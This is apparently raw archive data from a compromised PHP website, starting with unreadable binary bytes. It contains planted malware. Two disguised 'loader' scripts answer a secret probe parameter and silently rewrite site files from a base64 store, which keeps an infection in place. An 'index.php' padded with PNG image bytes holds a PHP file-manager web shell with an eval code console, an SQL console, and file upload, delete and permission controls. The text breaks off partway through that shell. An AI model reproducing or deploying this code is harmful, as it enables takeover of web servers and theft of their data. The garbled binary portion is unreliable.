|V0q5#gx$\leZA"N9+@ "A!LeiHjΒi(`$X`1'"IJ3E@I AV]fEAȩSeC!`UU0M*MfbSu|F..b0I"&;"sTGڐebI*f)1oϩL7sTB$R[5&WbeQX!ԗ͊rUĢex$S.'άye]UTn3ԤF)5lJgڴBYNj⦩,"rYEv*-U^%<FLU	8ZiXM%\aWdfS2VzC e8(B(bљt"S31),C,rM"NcdZB(JTjU3(E.!&醂8.e<j0%Qjcl&`fAȖ2
n qYdj4E\Un&[-ٕj!9vyK)eEv>S69e略Ҋr14zT&)P끨*L9&@(3%űTkEϮdPMZVf$ʨPZihkh4QƗt착EFFDT,jPtTjcX]4b=6aiRؒ[Tl٬zMY5+f'18CRSrPM%bNn0ʔT*myt:7.Cjʢɋ+yԼ2:/+TkJ)KS0d1y-CeLJU(<HeR*
\F3Ҙd[a5*ebpJJv/g9IV43)dql+bpr+XWpH٤J;^(sX)tg2Kʩ0H\:%#it3bP$B{V,)IIyfX)qF>_\iUيљ7FYV0aRr5CedgE]UI(´"%ɩSL~C7Y,IIFy^n+0X6ΐMiE34=Ra%b1&&e iΥ\{krHLYj%$fy=./Odg(yB07`HIex2?ǚƣqrdjF.K*b3X9EZC-dS&m#;R,WpM&/e
dG~Q-$ӜLN-"9
YV'KWfHbsl8rQ5NcE/׉hre!3W,1492gjaTVd+Ĉ3ibqIJiFP-1nf0βizHȬ
L+TJ4f%[f*Jr
D*$j<LZ(2d"eHO/ӥ+f!K*8Baؚg*@aHSMrIRɡ)Bk.-f199XU̵,K,QfTZ(yTV/ i,0ˏU[c+)9EJ:YQa"QP*+<zQn3@b+-J:y6γ3iXCOb3"u8H$^!wRrrTTQ2-FcL,N)Rf5r)8ZzLE3+2%|UJu6e'QrY;%c*r
	8K)1NNLSjbT,er4cDbr҅j""(/3F餑
Xu,Fٔ',l$L*hR:oSbqYT/%S\!]^aJJnHɵyQUZl"!:qTk\J/V$zNY==ܞPe|,M]&Kj=.58[Zjl(SrM=+tYqJ'dlٸ
eE̥Fҩc䒥ENYaf3
KP3I"Ue("ڋ2^ac	I|/e$HHTjze,Ҋt>;c̔8	!2Hqw%d0d9~R¶eu4vf.\1:9'P(Y
\e\0K8|T$yB!,67PfH3
/-h|KSTK^LHzQ.f%ʅy
JV,-7!3WCaf˥fiT)WcM!|M\h*HIO/38aa2L)PQzT!w(
iBqHE
)e85ZN=5OˤU+Ej^f>%,F"KɥrrLW\a)\[T0d\P	Vr,67dHyY\yJe3je
W(N2m<Nh59Ŷ|A~k+戀S$T5Ӝ϶Ś\zFeV$t-*RH̏+f9tGNr9MIh<*[e`|eT++X36£WqMYMΕgyNMT\^g#dJ,<lQ\SzvNǖ)姐i>BciJ6[aq4R3-6uqrȒY$] [y::$I)vhB&*#	+
l5DSk-_[ȿm!Bk-_[ȿm!=[P(p`dمda~&@"Z"<SHpr6P;/Sj:g3͑qpNgX"I$U!ըsĥkD<Ϡ%Iqqt*5\K"9
Qd2Ɗ,Ӄ5$ө4 ;#M)V;
`aGrCey'9l(A*R3̲4@	Q
;C5ȘY^-buE@u*gIx`,2r`Ǐas
",VV]z%=o%4;r
ug2rs*::Ie9%[](.eEf5V28B@(K*ryjzɌKKe"!V"scΘUNZ:#FT%+eD@OOiiBСTH4J*| 
E9iFa923veEJ"&!^הef+J^Lmbz\%CgP*%E11rJJvS+WӲ2:^Ρ5T.)UUBE2T|[\bv:4eB3TDF3j$6Y+]IuXrvVZlBTPO oDFWl*MʹHX
2HJ,CR&b8&mOOps$Z.=.cؤ!ܠઘ\ T+L[ZPeKfp*,e%gb$u/7ejfMTadљŖJ̤1ن'/	n/Yi8_V,H&;XP;Y,ǚi6tLa9vZQȊd4&/H29-CP(-ITS$+3Y\+)r-n˱RD4*eHtu.%,e]Cİ5dRy\īc"~*tS4<DhM2b8-v-3S'ز4vʒsHQaEDR+<1ɬKgrTV2V"gUd9㲬rgMC234Br[HUHȬ81ML'YWJ-Zb3+WdbLTy[ŧX&yjVg-8u9.YDʹ*Yo]@YB50丌rJUH&f&##ՉDeٔXqv%`0Z3U6&3fXx՞G93-L41EN:8X!+!(CW\gd:]2| S,[RibKi8,+׮TDbd!sq5Y-)ebPN3ɎbY@N+tVGOI	9$-Lz=JѥJqje1]2gW6!UPYV(|^
ŘSl)3s3Lmؒ"͎Kʉ冲4qNJS.IҒi2V1flr'fr+\.p+srb3+JIog`,*!c!r-(3)<^".ar`
?\/q4AxA(&`1zb0`K%xBi=N'$ڢxUHԈAU=qځ f
@裿hH0U$TH'@h @pxH"פ65mZAԣaFt-:իQMX,L8&ocv$V&)` "vIuA+ޏT+@ h!_тjBᇍ V4用^b j	7{O\5YWO(0r$Xfr8`T"7p^ĈH"<>|bK42a-*CXzˇBQؑ<>(vц<}0<BlQ>0Qˇ@47'MaP5$>SY?Cg1؎XgUW"FE6hW~yY!#ArA#7ʚbP5a%'ʥ5PRc]jDO7 {_t7eD(U0 E;x?i5C+T3a*Ѓŕ+=U2`%V'EŪ;UxX#k5lUAik3 9=1p̯/~qvKs0o@sW"$g`o`	fW{6"TFMp|)C|A/އ㗂`W5J[$rp\Saj׃Ef֘\b=1vcR,@~[Vbյ}oeL%!p'8;VWޣ.%B3լ2c@hMvi후W}|L<6C"-(ޘ>jz@Trm@{Ʈ`z\"]5>?noxǪ7jWҀ^#hB8X࿠Q@Q$@$rQ G/L4@
AA@vmm@bbUA1TʤR}ay-UM`)F#hjϝl`wA.ŁAa0`Ur8D"H)tPȀy{D*FH7Cjt^7^2؇1p7B7)of2D$:
sV9
<RCQ@!B8@CJNvޑN^ϥ>e7.'b\( 1TRd3x 3$Y䀄$R<!׋U'43fR{9p(z< AFbU(Rc՚aDE$u?$P萘`MW^UʂJ`bMك<0aPq0|
Mc+!`;4k/e*0hWzY&U;4|!kFՊ[.KZ<cgUiP=ڐrÄcMʬYŘ+>@I&k#!тAs)@D0ah$V!GbW>TV! *Y%M\!1.IUi4_+0iMbph$J!Hh#8lHphBˠ"T0~ُ#ǶbݔĤhq96nvt/.8>R4;rVmI\⼺}r'O5o7|5'?<5hk;'wzX+ժmzD6yb:k9}Aɱ H&xB-@ U)\l5[Q*GjHNDu?*Vxԣzy(}H@lZ"+Aua1K1:}yX{UH	1AjkFrh.G!o81Z$Kx'cE=iwpd,G{0[BWoѸ:X̑1߲ۥ8Р^i(/qV59F,	JE8BA^j$TTxNaJSb?%/[6XÅ?KOD֬4U;3mR2$oRc
a͌4=ZGpƀz7ePB $a}h,ieRZLj	8!<[uQIRF'皍T|6`~t:+V>eB(aw\@\'N Z}FƆ$wWU%zĠr%{@$f]LxWT]
{|0ߌ,!\s7bd?Vjub1}?0&T^RA@	ð V׆ZH0j ڠ3ZW-}vlxY<yvLQ!:0̨7K8&DˌݲD~ҼF̍x=]UU}e
?@P3pTM[r( zoC"=*#U|e*rL~+W=
VApe774:4ҿK$vÚhR"*2H O$oktrȨ4$N	UPJ*{V3KdV1YUcN@z&zذ§FI_/N53U]4-tڧe!_J̐p~c!
A4<oKQ;.#<g$r9hh?:%jFmڨHѨaR_W&_V8l?{L;@}}{yw{^AR+߾wu|4Ro|6r!M$h6Ͼh([<
9Ai3 ۂàՖz[fZB`>ZCoo&QV
`0 -@#jb%Q40l+^&1p1	}@q;Z
<qŒN
sM@{l_
<*,xRfQz#rsAA`
MG=;Ъ;"Zqjmlepl@FQ$H3ڬp6hmY¬FG@vt!CO(LY9
n0*%9ro^K(XzG#]KnYSϵ~dL۸	סĪ[d(PHEOLM)KB} 'a?}*)B{фT"|6x3[o _"0!ӇOA
2 9@T/cE3XFB(h^UN:pW|50}8r&dF^hkW Ѭ{Z3H ZVݔ="Q*
La$FBN{YeC?#ZR/jh\>OXO"MN6vgLˆC4ev48y^XXAl%!pp԰;<H1:%PoȫG[70ƫlTSIcB<oZ6{;>1@W\)$BPP%: 2xFF{iU2V͇Dl-Y8㍫~	"n|>]eBxX)N5ëZ->x^FAp3ap
#0	)0,0PFe`|jT)DsЍdATstuƨ[}-~(akDZ<,wRfZ߫iT,9PUH":@R,I0<>TUhyy9۾s林}у?UhhQiĬ׹կjK0<	 c 8x=eQ
"у5~Hn[W).F$>"pc;ǧ=Dh,:J=Ry!!=q	CCFlHZF]vǆw6!|Ɓ|iC!j.數(J}1Ǟ$*,WNQ:"~"?tdA	ۇ4wmpTΖ}O'_zPG?C`բ_zA㉽{`QARK ?Pkf@` *XU1ë0"c` -n%`|w|iʑ)wC჎>tV	bGA3"Aj Aˣd@0`K^L/Z:0%O@LJO@')	o-G=SB&CL0@e$(>&;yp*4C4$htt[n4H6cpYBf-4.iq74FT)H>R{nTV,ю^%`T=?X0Gxg.Fǐ'~ |}E)&QI\9"cSCH{4_XNUJB`n4jJ|IT*jU\It@;.ljxЪA@NwcXQ"`%&T.L@ ? J(~rja6dLhm e#;!i
T0`g-2{=FKq;0l8&gO~yez1lX#[0߸FQY;$V "Ȟ,<H!>T@QWU
D$V-~^}K$T%'u; ?wXmȱ}8FlB <x_-{/1Ov /D,3$4m0QySa$oy#q p˔%NHzOD!ȼ>fhH`( &1#"|(
c]0RaD0ChHA3aFذ`<ԣ5iy7}b
Dhd^b	}zҡ, 2h~Gq|d9gN  C	m*bt[e`z)с	3 Wbh̴ZmBb&FhxEG#B8iQt%1ȍhZ@[)ZY6NJ$&ư("!@$8u:lIt*,V$83މBieO
l8B}pA y>t#M<|RUWj5bCpR0"^g^4oD0傏txkZUHJѹ<FQهYek(xB1D2\%NQ1zOnE{cYVbCk,e (3JzҿKNUQR`%|g04D-1B8#Ց pcWO#aD׶4(+{N=Ǿ_ոSYƧ5!.pY3ɓq@mZH^rUa8(}FzZA|ق&23h"*]*ESUzW7zcw,=n\kDYVˊ^_$:lH<*
BM@c =ZMx294)McUۤc	홹jZF@c%v`* !{x\S佰T@0AG@k½I	_$wJ<$bđ	^P4
0d;uO0jᔈ E(-N7 #qY`B4z`$P+V0D , lC?kZM0AH=XsO5}R & Ql
aJ wA+Q`@-36F;!$H:D)f@H
x>mKPL
׃MP@7[Lwu x %v_/ D%2 2P[blf$7Z/F+O	A	Gz~8$GX-pUhHmf!:ֈDУ!$x`iN`	ύPoz"6wj A"Y=ϰȤj[@yRT_nHj$&oo*Q7jB')я>jhZ yh%r	E:*{P
 oyu7]qԦT*a{}(I`Pi~UU*J,^FW!PAbvM4UXy0{}Jd-xB
lPI\|`9n 4<#q2daR+̇^IMleX`MK$;$.>r6>ñz@j`1"NZBk<GtPEg)M*3"c^P^@9y4x˾xLz,DIGD!hxЅ[B҉^C#!ؤ@E5̿\>!X:Ŋ{!m_2{W@K:DPy1ȗ}g=Rj湪16Ch@}k2.pZB
EBg:	5.LPye'
uߣ#Xox+Ѕ{f~6I4	˖#m4l/2Lf#A6ǿ$H	 '
ti4CRofB79	'PPXZOU3w?֛fTb5\*@dD{kO={YXɐ*KJz5hk+4@5#RRu T5(U(P
Mf4e#T9]ثFWӓP3R {&N$6Γɟ[ Ӣý7>˃A莈g:P{V?Gb0kb Ϋ36crgٌ|ߨ	b
SZ8SAa2 ;hvθ;չ.l=^0{tD)hvs5Es{Ыͪ!p-8_yIUbih/N!1գANpy5)hn8B4`Q,J$AyT:w@vx⁔`D&c>;HAyx~ȍF%h=$%%N<*:
˜xd\	tG$`w43&}f
"n
+df/pԩcL}HQ?u^Up!AX#i1iH =Irwyj-X<	C`s@0 *Hڣ @(>.~,. aIpAv՗ xުz>vUjA#4GhP4eeD\ 6qဳiUȨI$6(C
}5Ye76`utHZ41>5V!9jƚwаK{x{OMj0 l( 8a𶣓fÈ '"=ɋAU;"CB|u-Ar'{GA{w7WDLV\A{^57 !\{M=ϮJm%?ZE3v5h8TSW%_!ŪA;;j4<PjAD c-x`T3~W Ju`r1ik/\3_5AfB/t
Lƍc.}Xzg@wb <9
>Nau{]F` lAw|2FW3^.?]W=ǈD0J{weRʗ@k	E"'qN:'nՊw	"1,\{fg-4pE`@hfhR"\ Gh DMU?[8QBPpb%,Q,
sFTf̈́<Ri/ 	 |U 2V^rHi6:MU'WT%eF31͈!үq+E#WfMU>c	VL
/$hfRIL8I@Lĕuj=q૪z"p56$PHp
Y̿ t!%" ƙ)XgfD1# XD>vu|:i_*MΘ!Yh:)!
Cr2<	n'x<oⲚ=*{5 ${!!BhJHhR&gY@l	b2kVe8'j@UFD(9,KPWV$4lbuk?L Ht2NiQxC˷^E* 5q|
)CIƷZ
qLѓ*Y	+Ag[@-͘ _\ЂDJ
֊
9
%+hhUaG	^_߰=lGn*&jyL_΁&d!|	 뫂ԀQ ƣ(FƆ.^T?怜A7\kZ`:ώ{)<\V϶j>PD2e(}~]W+7:L
#^
P|$ЀhH<Ttϗ9[(M}	5c(k)J	i>U|GߕGǠ.vi59QۥD_={UZDڀqV!`΃<tLX'| {.BAŮ7?>w~@nUva3M0Qʇ~?U	QUlCE!٫nI=@,y|QthC%yKYmjF5%fS^wu5c4Wb =udS)^""&{"IǠxAf=P+Bo+WSA5@@r|7Si'R"6ė}|!G{	=1G>BpϿ?63                                                                                                                                                                                                                                                                                                                                                                                                                                                            runtime-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010776 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-loader.php                                        0000644                 00000001672 15243251150 0020423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      364262.tar                                                                                          0000644                 00001370000 15243264725 0006035 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       364262.zip                                                                                          0000644                 00000567245 15243251040 0006055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
